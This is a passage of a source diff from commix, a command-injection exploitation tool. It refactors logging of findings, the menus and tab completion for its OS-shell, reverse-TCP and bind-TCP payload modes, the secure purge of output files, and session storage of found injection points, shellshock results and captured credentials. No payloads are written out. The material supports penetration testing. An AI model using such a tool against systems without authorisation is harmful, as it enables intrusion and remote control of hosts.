output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF))) + settings.END_LINE.LF) - else: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + settings.END_LINE.LF) +def add_finding(filename, injection_type, technique, http_request_method, vuln_parameter, payload, title=None): + settings.SHOW_LOGS_MSG = True + if not settings.LOGGED_FINDINGS_HEADER: + add_line(filename, settings.APPLICATION + " identified the following injection point(s):", group="findings") + settings.LOGGED_FINDINGS_HEADER = True + parameter = (vuln_parameter, http_request_method) + if parameter != settings.LAST_LOGGED_PARAMETER: + add_line(filename, checks.finding_parameter_line(vuln_parameter, http_request_method), group="findings") + settings.LAST_LOGGED_PARAMETER = parameter + else: + add_line(filename, "", group="findings") + payload = str(checks.url_decode(payload)).replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF) + for line in checks.finding_summary_lines(technique, injection_type, payload, title): + add_line(filename, settings.strip_ansi_codes(line), group="findings") """ Add any executed command and execution output result in log files. """ def executed_command(filename, cmd, output): - try: - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + settings.END_LINE.LF) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + str(output.encode(settings.DEFAULT_CODEC).decode()) + settings.END_LINE.LF) - except: - pass + add_line(filename, "Executed command: " + cmd, group="command:" + cmd) + add_line(filename, str(output.encode(settings.DEFAULT_CODEC).decode()), group="command:" + cmd) """ Fetched data logged to text files. @@ -201,8 +184,21 @@ def logs_notification(filename): Log all HTTP traffic into a textual file. """ def log_traffic(header): - with open(menu.options.traffic_file, "a", encoding=settings.DEFAULT_CODEC) as output_file: - output_file.write(header) + try: + with open(menu.options.traffic_file, "a", encoding=settings.DEFAULT_CODEC) as output_file: + output_file.write(header) + except: + pass + +""" +Close the report with the run's totals - only if something was actually logged. +""" +def add_footer(filename): + if menu.options.no_logging or not settings.LOGGED_FINDINGS_HEADER: + return + add_line(filename, "Finished: " + str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") + + " Requests: " + str(settings.TOTAL_OF_REQUESTS) + + " Target OS: " + settings.TARGET_OS.title(), group="footer") """ Print logs notification. @@ -210,6 +206,7 @@ def log_traffic(header): def print_logs_notification(filename, url): if os.path.exists(settings.CLI_HISTORY): checks.save_cmd_history() + add_footer(filename) if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: if not settings.LOAD_SESSION: logs_notification(filename) diff --git a/src/utils/menu.py b/src/utils/menu.py index ab4f621385..e48e4bbf00 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -19,8 +19,7 @@ from optparse import OptionGroup from optparse import OptionParser from optparse import SUPPRESS_HELP as SUPPRESS -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.colorama import Fore, Style, init # Use Colorama to make Termcolor work on Windows too :) if settings.IS_WINDOWS: @@ -37,10 +36,8 @@ def banner(): \ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\ """ + Fore.GREY + Style.UNDERLINE + settings.APPLICATION_URL + Style.RESET_ALL + r""" \/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (""" + Fore.LIGHTRED_EX + settings.APPLICATION_X_ACCOUNT + Style.RESET_ALL + """) -+-- """ + Style.BRIGHT + settings.DESCRIPTION_FULL + Style.RESET_ALL + """ Copyright © """ + settings.YEAR + """ """ + settings.AUTHOR + Style.RESET_ALL + """ (""" + Fore.LIGHTRED_EX + settings.AUTHOR_X_ACCOUNT + Style.RESET_ALL + """) -+-- """) _ = os.path.normpath(sys.argv[0]) @@ -698,6 +695,10 @@ def _(self, *args): # Remember whether '--web-root' was explicitly supplied on the CLI settings.USER_APPLIED_WEB_ROOT = bool(options.web_root) +# Remember whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI +settings.USER_APPLIED_AUTH_CRED = bool(options.auth_cred) +settings.USER_APPLIED_AUTH_TYPE = bool(options.auth_type) + # Apply '--ignore-redirects' before the very first request is made settings.FOLLOW_REDIRECT = not options.ignore_redirects @@ -715,20 +716,27 @@ def _(self, *args): ) OS_SHELL_OPTIONS = COMMON_OPTIONS + ( - (("reverse_tcp",), "configure a reverse TCP shell"), - (("bind_tcp",), "configure a bind TCP shell"), + (("<command>",), "execute it as an OS command on the target host"), + (("use reverse_tcp",), "Switch to the reverse TCP mode"), + (("use bind_tcp",), "Switch to the bind TCP mode"), ) REVERSE_TCP_OPTIONS = COMMON_OPTIONS + ( + (("set payload",), "Select a reverse TCP payload"), (("set",), "set a context option"), - (("os_shell",), "return to the OS shell"), - (("bind_tcp",), "switch to the bind TCP shell"), + (("show options",), "show the current context options"), + (("run",), "Generate and send the selected payload"), + (("use os_shell",), "Switch to the (default) OS shell mode"), + (("use bind_tcp",), "Switch to the bind TCP mode"), ) BIND_TCP_OPTIONS = COMMON_OPTIONS + ( + (("set payload",), "Select a bind TCP payload"), (("set",), "set a context option"), - (("os_shell",), "return to the OS shell"), - (("reverse_tcp",), "switch to the reverse TCP shell"), + (("show options",), "show the current context options"), + (("run",), "Generate and send the selected payload"), + (("use os_shell",), "Switch to the (default) OS shell mode"), + (("use reverse_tcp",), "Switch to the reverse TCP mode"), ) @@ -747,32 +755,86 @@ def _(self, *args): ) +""" +Render a command reference table, msfconsole-style: a title/underline, then an +aligned "Command Description" table. +""" def _print_options(context, options): + title = "Available Commands" + + rows = [ + (", ".join(commands), description[0].upper() + description[1:]) + for commands, description in options + ] + + command_width = max(len("Command"), max(len(command) for command, _ in rows)) + message = ( - Style.BRIGHT - + "Available '" - + context - + "' options:" - + Style.RESET_ALL - + "\n" + title + "\n" + + "=" * len(title) + "\n\n" + + " " + "Command".ljust(command_width) + " Description\n" + + " " + ("-" * len("Command")).ljust(command_width) + " " + "-" * len("Description") + "\n" ) - for commands, description in options: - command = " / ".join( - "'" + Style.BRIGHT + cmd + Style.RESET_ALL + "'" - for cmd in commands + for command, description in rows: + message += ( + " " + + command.ljust(command_width) + + " " + description + "\n" ) + settings.print_data_to_stdout(message.rstrip() + "\n") + +""" +Render a Name/Description table, msfconsole-style (like a "show" listing). +""" +def print_module_table(title, items): + name_width = max(len("Name"), max(len(name) for name, _ in items)) + + message = ( + title + "\n" + + "=" * len(title) + "\n\n" + + " " + "Name".ljust(name_width) + " Description\n" + + " " + ("-" * len("Name")).ljust(name_width) + " " + "-" * len("Description") + "\n" + ) + + for name, description in items: message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Type " - + command - + " to " - + description - + ".\n" + " " + + name.ljust(name_width) + + " " + description[0].upper() + description[1:] + "\n" ) - settings.print_data_to_stdout(message.rstrip()) + settings.print_data_to_stdout(message.rstrip() + "\n") + +""" +Render a "show options"-style table: Name / Current Setting / Required / Description. +""" +def print_options_table(title, rows): + name_width = max(len("Name"), max(len(name) for name, _, _, _ in rows)) + current_width = max(len("Current Setting"), max(len(current) for _, current, _, _ in rows)) + required_width = len("Required") + + def render_row(name, current, required, description): + return ( + " " + + name.ljust(name_width) + " " + + current.ljust(current_width) + " " + + required.ljust(required_width) + " " + + description + "\n" + ) + + message = ( + title + "\n" + + "=" * len(title) + "\n\n" + + render_row("Name", "Current Setting", "Required", "Description") + + render_row("-" * len("Name"), "-" * len("Current Setting"), "-" * len("Required"), "-" * len("Description")) + ) + + for name, current, required, description in rows: + message += render_row(name, current if current else "", "yes" if required else "no", description) + + settings.print_data_to_stdout(message.rstrip() + "\n") def _print_mobile_user_agents(): @@ -785,8 +847,7 @@ def _print_mobile_user_agents(): for option, device in MOBILE_USER_AGENTS: message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Type '" + "Type '" + Style.BRIGHT + option + Style.RESET_ALL @@ -817,9 +878,50 @@ def mobile_user_agents(): The tab compliter (shell options). """ def tab_completer(text, state): - set_options = [option.upper() for option in settings.SET_OPTIONS if option.startswith(text.upper())] - shell_options = [option for option in settings.SHELL_OPTIONS if option.startswith(text.lower())] - available_options = shell_options + set_options + try: + import readline + line = readline.get_line_buffer().lstrip().lower() + except Exception: + line = "" + + # Right after "set payload ", complete the currently-active shell's module paths + # (accepts both the bare name and the "bind_tcp/"/"reverse_tcp/"-prefixed form). + if line.startswith("set payload "): + module_paths = [] + try: + if settings.BIND_TCP: + from src.core.shells.bind_tcp import BIND_TCP_MODULES + module_paths = list(BIND_TCP_MODULES.keys()) + elif settings.REVERSE_TCP: + from src.core.shells.reverse_tcp import REVERSE_TCP_MODULES + module_paths = list(REVERSE_TCP_MODULES.keys()) + except Exception: + module_paths = [] + + prefix, bare_text = "", text + for mode_prefix in ("bind_tcp/", "reverse_tcp/"): + if text.startswith(mode_prefix): + prefix, bare_text = mode_prefix, text[len(mode_prefix):] + break + + available_options = [prefix + path for path in module_paths if path.startswith(bare_text)] + + # Right after "set ", the option names make sense, plus "payload" - not the full command list. + elif line.startswith("set "): + available_options = [option.upper() for option in settings.SET_OPTIONS if option.upper().startswith(text.upper())] + if "payload".startswith(text.lower()): + available_options.append("payload") + + # Right after "use ", complete "os_shell"/"bind_tcp"/"reverse_tcp". + elif line.startswith("use "): + use_targets = ["os_shell", "bind_tcp", "reverse_tcp"] + available_options = [target for target in use_targets if target.startswith(text.lower())] + + else: + set_options = [option.upper() for option in settings.SET_OPTIONS if option.startswith(text.upper())] + shell_options = [option for option in settings.SHELL_OPTIONS if option.startswith(text.lower())] + available_options = shell_options + set_options + try: return available_options[state] except IndexError: diff --git a/src/utils/purge.py b/src/utils/purge.py index 92bf4b9b1e..a1df3b56e3 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -14,7 +14,6 @@ """ import os -import sys import stat import random import shutil @@ -22,20 +21,54 @@ import functools from src.utils import menu from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import urllib as _urllib """ Safely removes (purges) output directory. With -u, scoped to just that target's subdirectory. """ +""" +Run one purge stage over the given paths, logging the debug message and +returning True if any path in the stage failed. +""" +def _purge_stage(debug_msg, paths, action): + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False + for path in paths: + try: + action(path) + except: + failed = True + return failed + +""" +Random filename used when renaming files/directories to random values. +""" +def _random_name(): + return "".join(random.sample(string.ascii_letters, random.randint(4, 8))) + +""" +Overwrite a file's contents with random data of the same size. +""" +def _overwrite_with_random_data(path): + filesize = os.path.getsize(path) + with open(path, "w+b") as f: + f.write(os.urandom(filesize)) + +""" +Truncate a file to zero length. +""" +def _truncate_file(path): + with open(path, 'w'): + pass + def purge(): directory = settings.OUTPUT_DIR if menu.options.url: host = _urllib.parse.urlparse(menu.options.url).netloc.replace(":", "_") if host: directory = os.path.join(directory, host) - # Absolute - the chdir below would otherwise break this relative path. directory = os.path.abspath(directory) if not os.path.isdir(directory): warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist." @@ -51,84 +84,30 @@ def purge(): dir_paths.extend([os.path.abspath(os.path.join(rootpath, i)) for i in directories]) file_paths.extend([os.path.abspath(os.path.join(rootpath, i)) for i in filenames]) - # Changing file attributes. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Changing file attributes." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - failed = False - for file_path in file_paths: - try: - os.chmod(file_path, stat.S_IREAD | stat.S_IWRITE) - except: - failed = True - pass + dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) - # Writing random data to files. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Writing random data to files. " - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - failed = False - for file_path in file_paths: - try: - filesize = os.path.getsize(file_path) - with open(file_path, "w+b") as f: - f.write(os.urandom(filesize)) - except: - failed = True - pass + failed = _purge_stage("Changing file attributes.", file_paths, + lambda p: os.chmod(p, stat.S_IREAD | stat.S_IWRITE)) - # Truncating files. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Truncating files." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - failed = False - for file_path in file_paths: - try: - with open(file_path, 'w') as f: - pass - except: - failed = True - pass + failed |= _purge_stage("Writing random data to files.", file_paths, _overwrite_with_random_data) - # Renaming filenames to random values. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Renaming filenames to random values." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - failed = False - for file_path in file_paths: - try: - os.rename(file_path, os.path.join(os.path.dirname(file_path), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) - except: - failed = True - pass + failed |= _purge_stage("Truncating files.", file_paths, _truncate_file) - # Renaming directory names to random values. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Renaming directory names to random values." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - failed = False - dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) - for dir_path in dir_paths: - try: - os.rename(dir_path, os.path.join(os.path.dirname(dir_path), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) - except: - failed = True - pass + failed |= _purge_stage("Renaming filenames to random values.", file_paths, + lambda p: os.rename(p, os.path.join(os.path.dirname(p), _random_name()))) + + failed |= _purge_stage("Renaming directory names to random values.", dir_paths, + lambda p: os.rename(p, os.path.join(os.path.dirname(p), _random_name()))) # Deleting the whole directory tree. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the whole directory tree." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - failed = False shutil.rmtree(directory) - except OSError as e: + except OSError: failed = True + if failed: err_msg = "Problem occurred while removing directory '" + directory + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index e50dc3607c..977dc1763e 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -15,7 +15,6 @@ import os import re -import sys import time import base64 import sqlite3 @@ -23,11 +22,8 @@ import contextlib from src.utils import menu from src.utils import settings -from src.utils import common from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init """ Open the session DB and always close it; retry after recreating a deleted directory. @@ -67,6 +63,12 @@ def split_url(url): def escape_like(value): return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_') +""" +Check whether the given table exists in the session database. +""" +def table_exists(conn, table): + return conn.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)).fetchone() is not None + """ Return SHA1 hash of the given text (UTF-8 encoded). Used for obfuscating hostnames in SQLite table names. @@ -82,7 +84,9 @@ def technique_letter(technique_info): return technique_info.split()[2][0] if technique_info == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: return settings.INJECTION_TECHNIQUE.FILE_BASED[0] - return technique_info[0] + if technique_info in (settings.INJECTION_TECHNIQUE.CLASSIC, settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.FILE_BASED): + return technique_info[0] + return None """ Extract the host from a full URL string. @@ -108,7 +112,7 @@ def table_name(url): Handle the scenario where the user requests to ignore any stored session data. Logs debug or warning messages depending on session file presence. """ -def ignore(url): +def ignore(): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Ignoring the stored session from the session file due to '--ignore-session' switch." @@ -122,7 +126,7 @@ def ignore(url): Remove all stored session data by dropping every table in the session database file. Logs progress and errors appropriately. """ -def flush(url): +def flush(): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Flushing the stored session from the session file." @@ -155,8 +159,7 @@ def clear(url): if conn.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)).fetchone() is None: return - # Query to get the smallest (earliest) id for each unique combination of url and technique - query = "SELECT MIN(id) FROM \"" + table + "\" GROUP BY url, technique;" + query = "SELECT MIN(id) FROM \"" + table + "\" GROUP BY url, technique, vuln_parameter, http_header;" cursor = conn.execute(query) # Collect the ids to keep as strings @@ -197,7 +200,7 @@ def import_injection_points(url, technique, injection_type, filename, separator, "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " "TAG VARCHAR, interpreter VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR, " - "target_os VARCHAR);") + "target_os VARCHAR, file_deleted VARCHAR DEFAULT '');") # Check if an exact matching record already exists to avoid duplicates query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " @@ -211,8 +214,6 @@ def import_injection_points(url, technique, injection_type, filename, separator, int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), str(menu.options.tamper or ""), str(settings.TARGET_OS)) - # URL-encode base64 padding within the url field only, so it isn't - # mistaken for part of the URL structure itself. if settings.BASE64_PADDING in params[0]: params = (params[0].replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)),) + params[1:] @@ -232,13 +233,52 @@ def import_injection_points(url, technique, injection_type, filename, separator, except sqlite3.OperationalError as err_msg: err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." - err_msg += " Rerun with switch '--flush-session'." + err_msg += " Re-run with switch '--flush-session'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - checks.quit(filename, url, _=False) + checks.quit(filename, url, hard_exit=False) except sqlite3.DatabaseError: checks.error_loading_session_file() +""" +All stored shellshock findings for this URL, one (header, payload) pair per header - resumes everything at once, mirroring the core engine's LOAD_SESSION behavior instead of the technique-letter-keyed model the other 4 techniques use. +""" +def get_all_stored_shellshock(url, http_request_method): + found = [] + if menu.options.ignore_session or menu.options.flush_session: + return found + try: + table = table_name(url) + "_ip" + with _session_connection() as conn: + if not table_exists(conn, table): + return found + like_url = "%" + escape_like(split_url(url)) + "%" + query = ("SELECT http_header, payload FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND " + "technique = ? AND http_request_method = ?;") + cursor = conn.execute(query, (like_url, "shellshock injection technique", http_request_method)) + found = [(row[0], row[1]) for row in cursor.fetchall()] + return found + except Exception: + return found + +""" +Whether this URL already has any stored shellshock finding, regardless of header - skips re-asking to test for it. +""" +def has_stored_shellshock(url): + if menu.options.ignore_session or menu.options.flush_session: + return False + try: + table = table_name(url) + "_ip" + with _session_connection() as conn: + if not table_exists(conn, table): + return False + like_url = "%" + escape_like(split_url(url)) + "%" + query = "SELECT 1 FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND technique = ? LIMIT 1;" + cursor = conn.execute(query, (like_url, "shellshock injection technique")) + return cursor.fetchone() is not None + except Exception: + return False + """ Retrieve a summary string of all unique injection techniques that have been successfully applied and stored in the session for the given URL. @@ -248,20 +288,17 @@ def applied_techniques(url, http_request_method): try: with _session_connection() as conn: table = table_name(url) + "_ip" - query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" - result = conn.execute(query, (table,)).fetchone() - if result: + if table_exists(conn, table): query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() for session in cursor: technique_info = session[0] - techniques.append(technique_letter(technique_info)) + letter = technique_letter(technique_info) + if letter: + techniques.append(letter) techniques = list(set(techniques)) techniques = "".join(str(x) for x in techniques) return techniques - except sqlite3.OperationalError: - settings.LOAD_SESSION = None - return techniques except Exception: settings.LOAD_SESSION = None return techniques @@ -276,9 +313,7 @@ def applied_levels(url, http_request_method): try: with _session_connection() as conn: table = table_name(url) + "_ip" - query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" - result = conn.execute(query, (table,)).fetchone() - if result: + if table_exists(conn, table): query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() for session in cursor: @@ -290,9 +325,6 @@ def applied_levels(url, http_request_method): else: level = settings.HTTP_HEADER_INJECTION_LEVEL return level - except sqlite3.OperationalError: - settings.LOAD_SESSION = None - return level except Exception: settings.LOAD_SESSION = None return level @@ -320,14 +352,13 @@ def has_any_stored_technique(url, http_request_method): try: with _session_connection(session_file) as conn: table = table_name(url) + "_ip" - cursor = conn.cursor() - cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) - if not cursor.fetchall(): + if not table_exists(conn, table): return False + cursor = conn.cursor() like_url = "%" + escape_like(split_url(url)) + "%" query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND http_request_method = ?;" cursor.execute(query, (like_url, http_request_method)) - return any(not menu.options.tech or technique_letter(row[0]) in menu.options.tech for row in cursor.fetchall()) + return any(not menu.options.tech or (technique_letter(row[0]) and technique_letter(row[0]) in menu.options.tech) for row in cursor.fetchall()) except (sqlite3.OperationalError, sqlite3.DatabaseError): return False @@ -346,14 +377,13 @@ def check_stored_injection_points(url, check_parameter, http_request_method): raise ValueError("Unsafe table name") with _session_connection() as conn: - cursor = conn.cursor() - # Check if the table exists - cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) - if not cursor.fetchall(): + if not table_exists(conn, table): settings.LOAD_SESSION = None return url, check_parameter + cursor = conn.cursor() + # Fetch stored sessions for matching URL like_url = "%" + escape_like(split_url(url)) + "%" query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" @@ -372,7 +402,7 @@ def check_stored_injection_points(url, check_parameter, http_request_method): technique = technique_letter(technique_info) - if len(menu.options.tech) == 0 or technique in menu.options.tech: + if len(menu.options.tech) == 0 or (technique and technique in menu.options.tech): found = True # Prefer more specific vulnerable parameter (e.g., HTTP header), if available vuln_parameter = vuln_param or http_header @@ -394,9 +424,6 @@ def check_stored_injection_points(url, check_parameter, http_request_method): settings.LOAD_SESSION = False return url, check_parameter - except sqlite3.OperationalError: - settings.LOAD_SESSION = None - return url, check_parameter except Exception: settings.LOAD_SESSION = None return url, check_parameter @@ -410,11 +437,10 @@ def load_stored_techniques(url, check_parameter, http_request_method): try: with _session_connection() as conn: table = table_name(url) + "_ip" - cursor = conn.cursor() - cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) - if not cursor.fetchall(): + if not table_exists(conn, table): return stored + cursor = conn.cursor() like_url = "%" + escape_like(split_url(url)) + "%" query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND http_request_method = ?;" cursor.execute(query, (like_url, http_request_method)) @@ -422,12 +448,10 @@ def load_stored_techniques(url, check_parameter, http_request_method): for session in cursor.fetchall(): row = session[1:] technique, vuln_parameter, http_header = row[1], row[5], row[11] - if check_parameter not in (vuln_parameter, http_header): + if check_parameter not in (vuln_parameter, http_header) or not technique_letter(technique): continue stored[technique] = row - return stored - except sqlite3.OperationalError: - return stored + return {_: stored[_] for _ in settings.TECHNIQUE_ORDER if _ in stored} except Exception: return stored @@ -471,6 +495,41 @@ def apply_stored_technique(row): TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable) +""" +Check whether the output file for a stored technique has already been deleted from the target. +""" +def check_file_deleted(url, technique, vuln_parameter, http_request_method): + try: + with _session_connection() as conn: + table = table_name(url) + "_ip" + if not table_exists(conn, table): + return False + cursor = conn.cursor() + like_url = "%" + escape_like(split_url(url)) + "%" + query = ("SELECT file_deleted FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND technique = ? AND " + "(vuln_parameter = ? OR http_header = ?) AND http_request_method = ? LIMIT 1;") + cursor.execute(query, (like_url, technique, vuln_parameter, vuln_parameter, http_request_method)) + row = cursor.fetchone() + return bool(row and row[0]) + except Exception: + return False + +""" +Persist that the output file for a stored technique has been deleted from the target. +""" +def mark_file_deleted(url, technique, vuln_parameter, http_request_method): + try: + with _session_connection() as conn: + table = table_name(url) + "_ip" + if not table_exists(conn, table): + return + like_url = "%" + escape_like(split_url(url)) + "%" + conn.execute("UPDATE \"" + table + "\" SET file_deleted = '1' WHERE url LIKE ? ESCAPE '\\' AND technique = ? AND " + "(vuln_parameter = ? OR http_header = ?) AND http_request_method = ?;", + (like_url, technique, vuln_parameter, vuln_parameter, http_request_method)) + conn.commit() + except Exception: + pass """ Store the output of a successfully executed command for a given URL and vulnerable parameter in the session database. @@ -539,8 +598,7 @@ def check_stored_waf_status(url): try: with _session_connection() as conn: table = table_name(url) + "_waf" - query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" - if not conn.execute(query, (table,)).fetchone(): + if not table_exists(conn, table): return None row = conn.execute("SELECT waf_enabled FROM \"" + table + "\" LIMIT 1;").fetchone() return row[0] == "True" if row else None @@ -580,8 +638,7 @@ def check_stored_testable_value(url, vuln_parameter, http_request_method): try: with _session_connection() as conn: table = table_name(url) + "_tv" - query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" - if not conn.execute(query, (table,)).fetchone(): + if not table_exists(conn, table): return None row = conn.execute("SELECT placeholder FROM \"" + table + "\" WHERE vuln_parameter = ? AND http_request_method = ?;", (vuln_parameter, http_request_method)).fetchone() return row[0] if row else None @@ -624,8 +681,6 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, " "username VARCHAR, password VARCHAR);") - # Skip the insert if this exact credential is already stored, so repeated - # runs against the same target don't keep piling up identical rows. cursor = conn.execute("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND authentication_type = ? AND " "admin_panel = ? AND username = ? AND password = ? LIMIT 1;", (url, authentication_type, admin_panel, username, password)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 990ed90779..00bf8a4fa9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -61,12 +61,6 @@ class HTTPMETHOD(object): POST = "POST" HEAD = "HEAD" -# Status -FAIL_MSG = Fore.RED + " " * 10 + Style.RESET_ALL -FAIL_STATUS = "" + FAIL_MSG + "" -info_msg = Fore.GREEN + " " * 10 + Style.RESET_ALL -SUCCESS_STATUS = "" + info_msg + "" - # Status Signs LEGAL_DISCLAIMER = "(" + Style.BRIGHT + Fore.RED + "!" + Style.RESET_ALL + ") " + "Legal disclaimer: " INFO_SIGN = Style.RESET_ALL + "[" + Fore.GREEN + "info" + Style.RESET_ALL + "] " @@ -82,21 +76,34 @@ class HTTPMETHOD(object): ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " -SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL -SUB_CONTENT_SIGN_TYPE = Fore.LIGHTRED_EX + " * " + Style.RESET_ALL +SUB_CONTENT_SIGN = "" +SUB_CONTENT_SIGN_TYPE = "" + Style.BRIGHT + "*" + Style.RESET_ALL + " " +#SUB_CONTENT_SIGN_TYPE = "[" + Fore.LIGHTRED_EX + "*" + Style.RESET_ALL + "] " TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT CHECK_SIGN = DEBUG_SIGN + "Checking for a valid pair of authentication credentials: " -OS_SHELL_TITLE = Style.BRIGHT + "Operating System Pseudo-Shell (type '?' for available options)" + Style.RESET_ALL -OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ -REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ -BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """ +OS_SHELL_TITLE = Style.BRIGHT + "Command Shell (type '?' for help)" + Style.RESET_ALL + +RL_INVISIBLE_START = "\001" +RL_INVISIBLE_END = "\002" + +def styled_prompt(codes, text): + return RL_INVISIBLE_START + codes + RL_INVISIBLE_END + text + +OS_SHELL = "commix(os_shell) > " def print_time(): return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] " +""" +Shared tail for the timestamped print_*_msg wrappers below. +""" +def _format_msg(sign, msg, bold=False): + prefix = Style.BRIGHT if bold else "" + return print_time() + sign + prefix + str(msg) + Style.RESET_ALL + # Print execution status def execution(status): debug_msg = status + " " + APPLICATION + 